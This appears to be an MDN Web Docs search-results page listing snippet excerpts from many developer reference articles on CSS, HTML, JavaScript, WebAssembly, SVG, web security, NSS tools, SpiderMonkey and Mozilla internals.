... if there are fewer timing functions specified than in the transition-property list, the user agent must calculate which value is used by repeating the list of values until there is one for each transition property.
...And 9 more matches
Block formatting context - Developer guides
it's the region in which the layout of block boxes occurs and in which floats interact with other elements.
... table cells (elements with display: table-cell, which is the default for html table cells).
... table captions (elements with display: table-caption, which is the default for html table captions).
...And 9 more matches
Using HTML sections and outlines - Developer guides
important: there are no implementations of the proposed outline algorithm in web browsers nor assistive technology; it was never part of a final w3c specification.
...semantic sectioning elements are specifically designed to communicate structural meaning to browsers and other technologies interpreting the document on behalf of users, such as screen readers and voice assistants.
...they are intended to enhance the limited semantics of earlier versions of html, which included only the <div> tag as a generic mechanism for grouping related content.
...And 9 more matches
HTML attribute: accept - HTML: Hypertext Markup Language
the accept attribute takes as its value a comma-separated list of one or more file types, or unique file type specifiers, describing which file types to allow.
...it is still possible (in most cases) for users to toggle an option in the file chooser that makes it possible to override this and select any file they wish, and then choose incorrect file types.
...most operating systems lighten the files that don't match the criteria and aren't selectable.
...And 9 more matches
<menu> - HTML: Hypertext Markup Language
WebHTMLElementmenu
this includes both list menus, which might appear across the top of a screen, as well as context menus, such as those that might appear underneath a button after it has been clicked.
...if the element's children include at least one <li> element: palpable content.
...used within nested menus, to provide a label through which the submenu can be accessed.
...And 9 more matches
<pre>: The Preformatted Text element - HTML: Hypertext Markup Language
WebHTMLElementpre
the html <pre> element represents preformatted text which is to be presented exactly as written in the html file.
... cols contains the preferred count of characters that a line should have.
...to achieve such an effect, use css width instead.
...And 9 more matches
<source>: The Media or Image Source element - HTML: Hypertext Markup Language
WebHTMLElementsource
each source size consists of a comma-separated list of media condition-length pairs.
... this information is used by the browser to determine, before laying the page out, which image defined in srcset to use.
... the sizes attribute has an effect only when the <source> element is the direct child of a <picture> element.
...And 9 more matches
itemtype - HTML: Hypertext Markup Language
google and other major search engines support the schema.org vocabulary for structured data.
...in this case, musicevent would be the url used by itemtype, with startdate and location as itemprop's which musicevent defines.
... note: more about itemtype attributes can be found at http://schema.org/thing the itemtype attribute must have a value that is an unordered set of unique tokens which are case-sensitive, each is a valid and absolute url, and all defined to use the same vocabulary.
...And 9 more matches
Inline elements - HTML: Hypertext Markup Language
since this is a presentational characteristic it is nowadays specified by css in the flow layout.
... inline elements are those which only occupy the space bounded by the tags defining the element, instead of breaking the flow of the content.
... an inline element does not start on a new line and only takes up as much width as necessary.
...And 9 more matches
Using Feature Policy - HTTP
feature policy allows you to control which origins can use which features, both in the top-level page and in embedded frames.
... essentially, you write a policy, which is an allowed list of origins for each feature.
... for every feature controlled by feature policy, the feature is only enabled in the current document or frame if its origin matches the allowed list of origins.
...And 9 more matches
Set-Cookie - HTTP
browsers block frontend javascript code from accessing the set cookie header, as required by the fetch spec, which defines set-cookie as a forbidden response-header name that must be filtered out from any response exposed to frontend code.
...-value>; samesite=strict set-cookie: <cookie-name>=<cookie-value>; samesite=lax set-cookie: <cookie-name>=<cookie-value>; samesite=none // multiple attributes are also possible, for example: set-cookie: <cookie-name>=<cookie-value>; domain=<domain-value>; secure; httponly attributes <cookie-name>=<cookie-value> a cookie begins with a name-value pair: a <cookie-name> can be any us-ascii characters, except control characters, spaces, or tabs.
... it also must not contain a separator character like the following: ( ) < > @ , ; : \ " / [ ] ?
...And 9 more matches
Array.prototype.filter() - JavaScript
syntax let newarray = arr.filter(callback(element[, index, [array]])[, thisarg]) parameters callback function is a predicate, to test each element of the array.
... description filter() calls a provided callback function once for each element in an array, and constructs a new array of all the values for which callback returns a value that coerces to true.
... callback is invoked only for indexes of the array which have assigned values; it is not invoked for indexes which have been deleted or which have never been assigned values.
...And 9 more matches
Set - JavaScript
value equality because each value in the set has to be unique, the value equality will be checked.
...specifically, for sets, +0 (which is strictly equal to -0) and -0 were different values.
... however, this was changed in the ecmascript 2015 specification.
...And 9 more matches
String.prototype.normalize() - JavaScript
description unicode assigns a unique numerical value, called a code point, to each character.
...however, sometimes more than one code point, or sequence of code points, can represent the same abstract character — the character "ñ" for example can be represented by either of: the single code point u+00f1.
...and since the number of code points in each version is different, they even have different lengths.
...And 9 more matches
Symbol - JavaScript
a symbol value may be used as an identifier for object properties; this is the data type's primary purpose, although other use-cases exist, such as enabling opaque data types, or serving as an implementation-supported unique identifier in general.
...it creates a new symbol each time: symbol('foo') === symbol('foo') // false the following syntax with the new operator will throw a typeerror: let sym = new symbol() // typeerror this prevents authors from creating an explicit symbol wrapper object instead of a new symbol value and might be surprising as creating explicit wrapper objects around primitive data types is generally possible (for example, new boolean, new...
...to create symbols available across files and even across realms (each of which has its own global scope), use the methods symbol.for() and symbol.keyfor() to set and retrieve symbols from the global symbol registry.
...And 9 more matches
WebAssembly.Table - JavaScript
the webassembly.table() object is a javascript wrapper object — an array-like structure representing a webassembly table, which stores function references.
... so after instantiation, the table still has length 2, but the elements now contain callable exported webassembly functions which we can call from js.
... webassembly.instantiatestreaming(fetch('table2.wasm'), importobject) .then(function(obj) { console.log(tbl.length); console.log(tbl.get(0)()); console.log(tbl.get(1)()); }); note how you've got to include a second function invocation operator at the end of the accessor to actually invoke the referenced function and log the value stored inside it (e.g.
...And 9 more matches
CSS and JavaScript animation performance - Web Performance
there are many ways to implement web animations, such as css transitions/animations or javascript-based animations (using requestanimationframe()).
...they each have their own user scenarios: css transitions provide an easy way to make animations occur between the current style and an end css state, e.g., a resting button state and a hover state.
...the callback function of the method is called by the browser before the next repaint on each frame.
...And 9 more matches
Performance budgets - Web Performance
a budget exists to reflect your reachable goals.
... the warning level allows you to be proactive and plan any tech debt, while not blocking development or deploys.
... the error level is an upper bound limit, where changes will have a negative and noticeable impact.
...And 9 more matches
Performance Monitoring: RUM vs synthetic monitoring - Web Performance
synthetic monitoring and real user monitoring (rum) are two approaches for monitoring and providing insight into web performance.
...in this article we define and compare these two performance monitoring approaches.
...it is done in a controlled environment where variable like geography, network, device, browser, and cached status are predetermined.
...And 9 more matches
Getting started - SVG: Scalable Vector Graphics
<svg version="1.1" baseprofile="full" width="300" height="200" xmlns="http://www.w3.org/2000/svg"> <rect width="100%" height="100%" fill="red" /> <circle cx="150" cy="100" r="80" fill="green" /> <text x="150" y="125" font-size="60" text-anchor="middle" fill="white">svg</text> </svg> copy the code and paste it in a file demo1.svg.
...the interior of each letter is filled in with white.
... the text is positioned by setting an anchor where we want the midpoint to be: in this case, the midpoint should correspond to the center of the green circle.
...And 9 more matches
SVG fonts - SVG: Scalable Vector Graphics
since accessing the correct font file is however crucial for rendering text correctly, a font description technology was added to svg to provide this ability.
...internet explorer hasn't considered implementing this, the functionality has been removed from chrome 38 (and opera 25) and firefox has postponed its implementation indefinitely to concentrate on woff.
...the horiz-adv-x attribute determines how wide a character is on average compared to the path definitions of the single glyphs.
...And 9 more matches
Certificate Transparency - Web security
newly issued certificates are 'logged' to publicly run, often independent ct logs which maintain an append-only, cryptographically assured record of issued tls certificates.
... in this way, certificate authorities (cas) can be subject to much greater public scrutiny and oversight.
... potentially malicious certificates, such as those that violate the ca/b forum baseline requirements, can be detected and revoked much more quickly.
...And 9 more matches
Referer header: privacy and security concerns - Web security
the referrer problem the referer (sic) header contains the address of the previous web page from which a link to the currently requested page was followed, which has lots of fairly innocent uses including analytics, logging, or optimized caching.
... however, there are more problematic uses such as tracking or stealing information, or even just side effects such as inadvertently leaking sensitive information.
... much of this risk can be mitigated by sensible design of applications.
...And 9 more matches
<xsl:number> - XSLT: Extensible Stylesheet Language Transformations
WebXSLTElementnumber
syntax <xsl:number count=expression level="single" | "multiple" | "any" from=expression value=expression format=format-string lang=xml:lang-code letter-value="alphabetic" | "traditional" grouping-separator=character grouping-size=number /> required attributes none.
...the processor goes to the first node in the ancestor-or-self axis that matches the count attribute and then counts that node plus all its preceding siblings (stopping when it reaches a match to the from attribute, if there is one) that also match the count attribute.if no match is found, the sequence will be an empty list.
... multiple numbers nodes as a composite sequence that reflects the hierarchic position of the node, e.g.
...And 9 more matches
Loading and running WebAssembly code - WebAssembly
this article provides a reference for the different mechanisms that can be used to fetch webassembly bytecode, as well as how to compile/instantiate then run it.
... webassembly is not yet integrated with <script type='module'> or es2015 import statements, thus there is not a path to have the browser fetch modules for you using imports.
... the older webassembly.compile/webassembly.instantiate methods require you to create an arraybuffer containing your webassembly module binary after fetching the raw bytes, and then compile/instantiate it.
...And 9 more matches
Build the brick field - Game development
after modifying the gameplay mechanics, we are now able to lose — this is great as it means the game is finally feeling more like a game.
...first however we need to set up some variables to define information about the bricks such as their width and height, rows and columns, etc.
... add the following lines to your code below the variables which you have previously declared in your program.
...And 8 more matches
Build the brick field - Game development
7 }, offset: { top: 50, left: 60 }, padding: 10 }; } this brickinfo object will hold all the information we need: the width and height of a single brick, the number of rows and columns of bricks we will see on screen, the top and left offset (the location on the canvas where we shall start to draw the bricks) and the padding between each row and column of bricks.
... now, let's start creating the bricks themselves — add an empty group first to contain the bricks, by adding the following line at the bottom of the initbricks() function: bricks = game.add.group(); we can loop through the rows and columns to create new brick on each iteration — add the following nested loop below the previous line of code: for(c=0; c<brickinfo.count.col; c++) { for(r=0; r<brickinfo.count.row; r++) { // create new brick and add it to the group } } this way we will create the exact number of bricks we need and have them all contained in a group.
... now we need to add some code inside the nested loop stucture to draw each brick.
...And 8 more matches
XInclude - MDN Web Docs Glossary: Definitions of Web-related terms
'); if (xincludes) { for (i=0; i < xincludes.length; i++) { var xinclude = xincludes[i]; var href = xinclude.getattribute('href'); var parse = xinclude.getattribute('parse'); var xpointer = xinclude.getattribute('xpointer'); var encoding = xinclude.getattribute('encoding'); // e.g., utf-8 // "text/xml or application/xml or matches text/*+xml or application/*+xml" before encoding (then utf-8) var accept = xinclude.getattribute('accept'); // header "accept: "+x var acceptlanguage = xinclude.getattribute('accept-language'); // "accept-language: "+x var xifallback = xinclude.getelementsbytagnamens('http://www.w3.org/2001/xinclude', 'fallback')[0]; // only one such child is allowed ...
...ts to same document if empty (null is equivalent to empty string) href = null; // set for uniformity in testing below if (parse === 'xml' && xpointer === null) { alert('there must be an xpointer attribute present if "href" is empty an parse is "xml"'); return false; } } else if (href.match(/#$/, '') || href.match(/^#/, '')) { alert('fragment identifiers are disallowed in an xinclude "href" attribute'); return false; } var j; var xincludeparent = xinclude.parentnode; try { netscape.security.privilegemanager.enableprivilege('universalxpconnect universalbrowserread'); // necessary with file...
...:///-located files trying to reach external sites if (href !== null) { var response, responsetype; var request = new xmlhttprequest(); request.open('get', href, false); request.setrequestheader('if-modified-since', 'thu, 1 jan 1970 00:00:00 gmt'); request.setrequestheader('cache-control', 'no-cache'); if (accept) { request.setrequestheader('accept', accept); } if (acceptlanguage) { request.setrequestheader('accept-language', acceptlanguage); } switch (parse) { case 'text': // prior...
...And 8 more matches
Test Your Skills: Fundamental layout comprehension - Learn web development
this task will test some of your knowledge by way of developing a simple webpage layout using a variety of techniques.
... note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... project brief you have been provided with some raw html, basic css, and images — now you need to create a layout for the design, which should look just like the image below.
...And 8 more matches
How CSS works - Learn web development
it processes the document in a number of stages, which we've listed below.
... the browser then fetches most of the resources that are linked to by the html document, such as embedded images and videos ...
... the browser parses the fetched css, and sorts the different rules by their selector types into different "buckets", e.g.
...And 8 more matches
Test your skills: Advanced styling - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... advanced form styling 1 in our first advanced styling tasks, we want you to handle making a search input as consistent as possible across browsers — a trickier task than with standard text inputs, even on modern browsers.
... first of all, try giving the search box a consistent width, height, padding, and border color across browsers.
...And 8 more matches
Function return values - Learn web development
when the function completes (finishes running), it returns a value, which is a new string with the replacement made.
...you want to get to a final result, which involves some values that need to be calculated by a function.
...our draw() function draws 100 random circles somewhere on an html <canvas>: function draw() { ctx.clearrect(0, 0, width, height); for (let i = 0; i < 100; i++) { ctx.beginpath(); ctx.fillstyle = 'rgba(255,0,0,0.5)'; ctx.arc(random(width), random(height), random(50), 0, 2 * math.pi); ctx.fill(); } } inside each loop iteration, three calls are made to the random() function, to generate a random value for the current circle's x-coordinate, y-coordinate, and radius, respectively.
...And 8 more matches
Test your skills: Loops - Learn web development
note: you can try out solutions for the tasks below by downloading the code, putting it in an online tool such as codepen, jsfiddle, or glitch, then working on the tasks.
... dom manipulation: considered useful some of the questions below require you to write some dom manipulation code to complete them — such as creating new html elements, setting their text contents to equal specific string values, and nesting them inside existing elements on the page — all via javascript.
... we haven't explicitly taught this yet in the course, but you'll have seen some examples that make use of it, and we'd like you to do some research into what dom apis you need to successfully answer the questions.
...And 8 more matches
Ember Interactivity: Footer functionality, conditional rendering - Learn web development
where the checkbox has been checked).
... a deeper understanding of modern javascript features (such as classes, modules, etc), will be extremely beneficial, as ember makes heavy use of them.
...rom '@glimmer/component'; import { inject as service } from '@ember/service'; export default class footercomponent extends component { @service('todo-data') todos; } now we need to go back to our todo-data.js file and add some functionality that will allow us to return the number of incomplete todos (useful for showing how many are left), and clear the completed todos out of the list (which is what the “clear completed” functionality needs).
...And 8 more matches
Git and GitHub - Learn web development
all developers will use some kind of version control system (vcs), a tool to allow them to collaborate with other developers on a project without danger of them overwriting each other's work, and roll back to previous versions of the code base if a problem is discovered later on.
...this module aims to teach you what you need to know about both of them.
... overview vcses are essential for software development: it is rare that you will work on a project completely on your own, and as soon as you start working with other people you start to run the risk of conflicting with each other's work — this is when both of you try to update the same piece of code at the same time.
...And 8 more matches
Capturing a minidump
minidumps are files created by various windows tools which record the complete state of a program as it's running, or as it was at the moment of a crash.
...sometimes a more complete form of minidump is needed to see additional details about a crash, in which case manual capture of a minidump is desired.
...they are therefore much more likely to contain private information, if there is any in the browser.
...And 8 more matches
ESLint
it also runs on treeherder for every check-in.
... setting up eslint ./mach eslint --setup running eslint eslint can be run via: ./mach lint -l eslint you can limit running it to a specific directory with: ./mach lint -l eslint browser/components or work directory changes: ./mach lint -l eslint -w or outgoing commits only: ./mach lint -l eslint -o see ./mach eslint --help for more options when running eslint.
...this lets you see errors in real time, and can help you fix issues before you compile or run tests, reducing the time to develop patches.
...And 8 more matches
Developer guide
for new mozilla developers a directory of articles which are particularly helpful for new mozilla developers.
... managing multiple profiles when working with prerelease versions of firefox, it's often helpful to have multiple firefox profiles, such as one for each channel, or for different kinds of testing.
... mozilla much more additional information about mozilla coding practices.
...And 8 more matches
Gecko SDK
the gecko sdk, also known as the xulrunner sdk, is a set of xpidl files, headers and tools to develop xpcom components which can then in turn e.g.
... note that in order to develop such components, you do not need the full sources of e.g.
...the gecko sdk is a collection of header files and tools used to develop general xpcom components which add functionality to the existing platform, whereas xulrunner is a framework which can be used to run standalone or embedded applications based on the mozilla framework.
...And 8 more matches
Implementing QueryInterface
it addrefs the resulting interface, not this, thus following the com-correct way (particularly important in aggregation) it uses nscomtypeinfo<t>::getiid() instead of ktiid thus saving a global declaration and global space it uses c 's static_cast, via ns_static_cast, which detects errors when you can't really get to the desired interface.
... it avoids repeated uses of and assignments to *ainstanceptr, which compilers have trouble optimizing.
...these macros will be invoked for you if you use the ns_impl_isupports* macros, which give the corresponding queryinterface implementation, plus an addref and a release.
...And 8 more matches
OS.File.Info
instances of os.file.info represent file metadata, such as the size of the file, its last modification date, etc.
... using os.file.info example: determining if a file is a regular file the following snippet uses the main thread api to determine (asynchronously) whether some path is a regular file, or a directory, or a symbolic link: let promise = os.file.stat(somepath); promise.then( function onsuccess(info) { // |info| is an instance of |os.file.info| if (info.isdir) { // |somepath| represents a directory } else if (info.issymlink) { // |somepath| represents a symbolic link } else { // |somepath| represents a r...
...egular file } }, function onfailure(reason) { if (reason instanceof os.file.error && reason.becausenosuchfile) { // |somepath| does not represent anything } else { // some other error } } ) example: determining the owner of a file let promise = os.file.stat() promise.then( function onsuccess(info) { if ("unixowner" in info) { // info.unixowner holds the owner of the file } else { // information is not available on this platform } } ); evolution of this example bug 802534 will introduce the ability to check whether field unixowner appears in os.file.info.prototype, which will make it possible to write faster code.
...And 8 more matches
Promise
a reference to an existing promise may be received by different means, for example as the return value of a call into an asynchronous api.
...you don't need to import the promise.jsm module to use a promise object to which you already have a reference.
...if you see the message "a promise chain failed to handle a rejection", there is likely something to be fixed in the code.
...And 8 more matches
Localizing extension descriptions
each has at least one em:locale property marking the locale that the information should be used for and then all the various strings for the locale.
...<?xml version="1.0"?> <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest"> <em:id>tabsidebar@blueprintit.co.uk</em:id> <em:localized> <description> <em:locale>de-de</em:locale> <em:name>tab sidebar</em:name> <em:description>zeigt in einer sidebar vorschaubilder der inhalte aller offenen tabs an.</em:description> </description> </em:localized> <em:localized> <description> <em:locale>es-es</em:locale> <em:name>tab sidebar</em:name> <em:description>muestra una vista previa de sus pestañas en su panel lateral.</em:description> </description> </em:localized> <em:localized> <description>...
... the process for selecting the em:localized property to use for a given locale is as follows: if a property exists with an em:locale that matches the locale exactly, then use that.
...And 8 more matches
MathML Demo: <mo> - operator, fence, separator, or accent
they can be viewed as stretched versions of short arrows.
... \longleftarrow can be scripted as <mo>&xlarr;</mo> or as <mo stretchy="true" minsize="1.8">&larr;</mo>.
... a + b ⋫ c × d a + b ⋪ c ÷ d a + b ↚ c ⋅ d a + b ↛ c * d a + b ⇍ c × d a + b ⇏ c ÷ d a + b ⇎ c ⋅ d a + b ↮ c * d fences latex fences that begin with \left and \right are stretchy.
...And 8 more matches
Mozilla Port Blocking
background on 08/15/2001, cert issued a vulnerability note vu#476267 for a "cross-protocol" scripting attack, known as the html form protocol attack which allowed sending arbitrary data to most tcp ports.
...by default, mozilla now blocks access to specific ports which are used by vulnerable services in order to prevent security vulnerabilites due to "cross-protocol scripting".
... each protocol's handler can override this blocking for itself in order to enable the required access for that protocol.
...And 8 more matches
TraceMalloc
analyzing the trace-malloc log tools such as bloatblame (tools/trace-malloc/bloatblame.cpp) can be used to process filename.
...the output is a large html file that hyperlinks ancestor and descendent libraries, classes, and functions that call into one another, attributing malloc blame up and down each graph.
...this file can be post-processed by tools in mozilla/tools/trace-malloc as follows: histogram.pl, which produces a type histogram that can be diffed with histogram-diff.sh to produce output that looks like this: ---- base ---- ---- incr ---- ----- difference ---- type count bytes count bytes count bytes %total total 48942 4754774 76136 6566453 27194 1811679 100.00 nstokenallocator 17 110007 60 388260 43 278253 ...
...And 8 more matches
McCoy
mccoy uses xulrunner which is bound to break, for details see this post.
... mozilla calls mccoy a "simple system" which is a clear sign that something probably is not working, and indeed, is not.
...specifically, it focuses on the process of digitally signing update manifests so the applications can verify the integrity of a manifest retrieved over normally insecure channels.
...And 8 more matches
Anonymous Shared Memory
this chapter describes the nspr api for anonymous shared memory.
...the anonymous file-mapped shared memory provides an inheritable shared memory, as in: the child process inherits the shared memory.
...the intent is to provide a shared memory that is accessbile only by parent and child processes.
...And 8 more matches
Certificate functions
the mozilla cross reference (mxr) link for each function provides access to the function definition, prototype definition, and source code references.
... the nss version column indicates which versions of nss support the function.
... function name/documentation source code nss versions cert_addcerttolisttail mxr 3.2 and later cert_addextension mxr 3.5 and later cert_addocspacceptableresponses mxr 3.6 and later cert_addokdomainname mxr 3.4 and later cert_addrdn mxr 3.2.1 and later cert_asciitoname mxr 3.2 and later cert_cachecrl mxr 3.10 and later cert_clearocspcache mxr 3.11.7 and later cert_certchainfromcert mxr 3.2 and later cert_certlistfromcert mxr 3.2 and later cert_certtimesvalid mxr 3.2 and later cert_changecerttrust mxr 3.2 and later cert_checkcertvalidtimes mxr 3.2 and later cert_checknamespace mxr ...
...And 8 more matches
NSS 3.45 release notes
introduction the nss team has released network security services (nss) 3.45 on 5 july 2019, which is a minor release.
... the nss team would like to recognize first-time contributors: bastien abadie christopher patton jeremie courreges-anglas marcus burghardt michael shigorin tomas mraz distribution information the hg tag is nss_3_45_rtm.
...if no such certificates can be found, returns secsuccess and sets *results to null.
...And 8 more matches
NSS Sample Code Sample_2_Initialization of NSS
sample code 1 /* nspr headers */ #include <prthread.h> #include <plgetopt.h> #include <prprf.h> /* nss headers */ #include <nss.h> #include <pk11func.h> #include "util.h" /* print a usage message and exit */ static void usage(const char *progname) { fprintf(stderr, "\nusage: %s -d <dbdirpath> [-p <plainpasswc>]" " [-f <passwdffile>]\n\n", progname); fprintf(stderr, "%-15s specify a db directory path\n\n", "-d <dbdirpath>"); fprintf(stderr, "%-15s specify a plaintext password\n\n", "-p <plainpasswc>"); fprintf(stderr, "%-15s specify a password file\...
...n\n", "-f <plainpasswc>"); exit(-1); } /* initialize the slot password */ char *initslotpassword(pk11slotinfo *slot, prbool retry, void *arg) { file *input; file *output; char *p0 = null; char *p1 = null; secupwdata *pwdata = (secupwdata *) arg; if (pwdata->source == pw_fromfile) { return filepasswd(slot, retry, pwdata->data); } if (pwdata->source == pw_plaintext) { return pl_strdup(pwdata->data); } /* open terminal */ input = fopen("/dev/tty", "r"); if (input == null) { pr_fprintf(pr_stderr, "error opening input terminal for read\n"); return null; } /* we have no password, so initialize database with one */ pr_fprintf(pr_stderr, "enter a p...
...assword which will be used to encrypt your keys.\n" "the password should be at least 8 characters long,\n" "and should contain at least one non-alphabetic character.\n\n"); output = fopen("/dev/tty", "w"); if (output == null) { pr_fprintf(pr_stderr, "error opening output terminal for write\n"); return null; } for (;;) { if (p0) port_free(p0); p0 = getpassword(input, output, "enter new password: ", checkpassword); if (p1) port_free(p1); p1 = getpassword(input, output, "re-enter password: ", checkpassword); if (p0 && p1 && !port_strcmp(p0, p1)) { break; } pr_fprintf(pr_stderr, ...
...And 8 more matches
NSS tools : crlutil
each command takes one option.
... each option may take zero or more arguments.
... -m modify existing crl which can be located in cert db or in arbitrary file.
...And 8 more matches
NSS Tools crlutil
using the certificate revocation list management tool newsgroup: mozilla.dev.tech.crypto the certificate revocation list (crl) management tool is a command-line utility that can list, generate, modify, or delete crls within the nss security database file(s) and list, create, modify or delete certificates entries in a particular crl.
...each command takes one option.
... each option may take zero or more arguments.
...And 8 more matches
NSS tools : crlutil
MozillaProjectsNSStoolscrlutil
each command takes one option.
... each option may take zero or more arguments.
... -m modify existing crl which can be located in cert db or in arbitrary file.
...And 8 more matches
NSS tools : signver
MozillaProjectsNSStoolssignver
name signver — verify a detached pkcs#7 signature for a file.
... synopsis signtool -a | -v -d directory [-a] [-i input_file] [-o output_file] [-s signature_file] [-v] description the signature verification tool, signver, is a simple command-line utility that unpacks a base-64-encoded pkcs#7 signed object and verifies the digital signature using standard cryptographic techniques.
... -d [sql:]directory specify the database directory which contains the certificates and keys.
...And 8 more matches
GC Rooting Guide
since spidermonkey has a moving gc, it is very important that it knows about each and every pointer to a gc thing in the system.
... template class typedef js::handle<js::value> js::handlevalue js::handle<jsobject*> js::handleobject js::handle<jsstring*> js::handlestring js::handle<jsscript*> js::handlescript js::handle<jsid> js::handleid you should use js::handle<t> for all function parameters taking gc thing pointers (except out-parameters, which are described below).
... one rare but especially tricky case to watch out for is where an raii destructor could gc in a function that is returning a bare pointer.
...And 8 more matches
64-bit Compatibility
the best way to fix this is to make types explicit, such as: const uintptr_t pointer_tagbits = 3 or by using a cast inside the macro.
...lir safety it is not immediately clear from reading lir which opcodes should be used for 64-bit safety.
... if you make a mistake, there's an extremely good chance the sanityfilter in nanojit will catch it while generating code.
...And 8 more matches
JS::Compile
syntax // added in spidermonkey 45 bool js::compile(jscontext *cx, const js::readonlycompileoptions &options, js::sourcebufferholder &srcbuf, js::mutablehandlescript script); bool js::compile(jscontext *cx, const js::readonlycompileoptions &options, const char *bytes, size_t length, js::mutablehandlescript script); bool js::compile(jscontext *cx, const js::readonlycompileoptions &options, const char16_t *chars, size_t length, js::mutablehandlescript script); bool js::compile(jscontext *cx, const js::readonlycompileoptions &options, file *file, js::mutablehandlescript script); bool js::compile(jsconte...
...xt *cx, const js::readonlycompileoptions &options, const char *filename, js::mutablehandlescript script); // obsolete since jsapi 39 bool js::compile(jscontext *cx, js::handleobject obj, const js::readonlycompileoptions &options, js::sourcebufferholder &srcbuf, js::mutablehandlescript script); bool js::compile(jscontext *cx, js::handleobject obj, const js::readonlycompileoptions &options, const char *bytes, size_t length, js::mutablehandlescript script); bool js::compile(jscontext *cx, js::handleobject obj, const js::readonlycompileoptions &options, const char16_t *chars, size_t length, js::mutablehandlescript script); bool js::compile(jscontext *cx, js::handleobject obj, const js...
...::readonlycompileoptions &options, file *file, js::mutablehandlescript script); bool js::compile(jscontext *cx, js::handleobject obj, const js::readonlycompileoptions &options, const char *filename, js::mutablehandlescript script); name type description cx jscontext * pointer to a js context from which to derive runtime information.
...And 8 more matches
JS_CompileFunction
syntax jsfunction * js_compilefunction(jscontext *cx, jsobject *obj, const char *name, unsigned int nargs, const char **argnames, const char *body, size_t length, const char *filename, unsigned int lineno); jsfunction * js_compileucfunction(jscontext *cx, jsobject *obj, const char *name, unsigned int nargs, const char **argnames, const jschar *body, size_t length, const char *filename, unsigned int lineno); name type description cx jscontext * the context in which to compile the function.
... obj jsobject * object with which the function is associated.
... name const char * name to assign the newly compiled function.
...And 8 more matches
JS_CompileScriptForPrincipals
syntax jsscript * js_compilescriptforprincipals(jscontext *cx, jsobject *obj, jsprincipals *principals, const char *src, size_t length, const char *filename, unsigned int lineno); jsscript * js_compileucscriptforprincipals(jscontext *cx, jsobject *obj, jsprincipals *principals, const jschar *src, size_t length, const char *filename, unsigned int lineno); jsobject * js_compilescriptforprincipalsversion(jscontext *cx, jsobject *obj, jsprincipals *principals, const char *src, size_t length, const char *filename, unsigned int lineno, jsve...
...rsion version); // obsoleted since jsapi 19 jsobject * js_compileucscriptforprincipalsversion(jscontext *cx, jsobject *obj, jsprincipals *principals, const jschar *src, size_t length, const char *filename, unsigned int lineno, jsversion version); // obsoleted since jsapi 19 name type description cx jscontext * the context in which to compile the script.
... obj jsobject * object with which the script is associated.
...And 8 more matches
JS_ConvertArguments
syntax bool js_convertarguments(jscontext *cx, const js::callargs &args, const char *format, ...); // added in spidermonkey 31 bool js_convertarguments(jscontext *cx, unsigned argc, jsval *argv, const char *format, ...); // obsolete since jsapi 30 name type description cx jscontext * the context in which to perform any necessary conversions.
...in certain error cases, js_convertarguments calls js_argv_callee(argv), which accesses memory outside the range [argv ..
...(the purpose is to ensure gc safety.) format const char * null-terminated string describing the types of the out parameters and how to convert the values in argv.
...And 8 more matches
JS_NewExternalString
create a new jsstring whose characters are stored in external memory.
... syntax jsstring * js_newexternalstring(jscontext *cx, const char16_t *chars, size_t length, const jsstringfinalizer *fin); jsstring * js_newexternalstringwithclosure(jscontext *cx, jschar *chars, size_t length, int type, void *closure); // obsolete since jsapi 13 name type description cx jscontext * the context in which to create the new string.
... chars const char16_t * or const jschar * pointer to the first element of an array of char16_ts.
...And 8 more matches
SpiderMonkey 45
please let us know about your experiences with this release by posting in the mozilla.dev.tech.js-engine newsgroup.
... spidermonkey 45 includes a just-in-time compiler (jit) that compiles javascript to machine code, for a significant speed increase.
... it is supported on x86, x86_64, and arm architectures.
...And 8 more matches
AT APIs Support
but in the meantime it more up-to-date and contains more details than existed analogues for at-spi and msaa this documentation explains how makers of screen readers, voice dictation packages, onscreen keyboards, magnification software and other assitive technologies can support gecko-based software.
...gecko can render a variety of content, not just html and supports key web standards such as cascading style sheets, javascript and the w3c dom.
...gecko is the core architecture that we are adding accessibility to, in order to support basic accessibility in all applications that are based on it.
...And 8 more matches
Manipulating bookmarks using Places
specifying default_index as the index at which to insert the new folder places it at the end of the list.
... you can easily change this code to insert the new folder into the bookmarks toolbar by changing bookmarksmenufolder to another folder attribute.
... manipulating existing items there are a number of convenient methods you can use to make changes to existing bookmarks and bookmark folders.
...And 8 more matches
Making cross-thread calls using runnables
in the mozilla platform, most activities such as layout, dom operations, content javascript, and chrome javascript run on the main thread.
...each runnable represents a task which can then be dispatched to another thread for execution.
... note: javascript code cannot use the techniques described in this article.
...And 8 more matches
Components.utils.exportFunction
in this way privileged code, such as an extension, can share code with less-privileged code like a normal web page script.
... exportfunction() is made available as a global in sandboxes which have the wantexporthelpers option set in the sandbox() constructor.
... targetscope : object the object to attach the function to.
...And 8 more matches
mozIStorageStatement
inherits from: mozistoragevaluearray last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) for an introduction on how to use this interface, see the storage overview document.
...oid finalize(); mozistoragestatement clone(); autf8string getparametername(in unsigned long aparamindex); unsigned long getparameterindex(in autf8string aname); autf8string getcolumnname(in unsigned long acolumnindex); unsigned long getcolumnindex(in autf8string aname); void reset(); astring escapestringforlike(in astring avalue, in wchar aescapechar); void bindparameters(in mozistoragebindingparamsarray aparameters); mozistoragebindingparamsarray newbindingparamsarray(); void bindutf8stringparameter(in unsigned long aparamindex, in autf8string avalue); void bindstringparameter(in unsigned long aparamindex, in astring avalue); void binddoubleparameter(in unsigned long aparamindex, i...
... params mozistoragestatementparams the current list of named parameters, which may be set.
...And 8 more matches
nsIAppShellService
inherits from: nsisupports last changed in gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5) implemented by: @mozilla.org/appshell/appshellservice;1 as a service: var appshellservice = components.classes["@mozilla.org/appshell/appshellservice;1"] .getservice(components.interfaces.nsiappshellservice); method overview void closetoplevelwindow(in nsixulwindow awindow); obsolete since gecko 1.8 void createhiddenwindow(in nsiappshell aappshell); native code only!
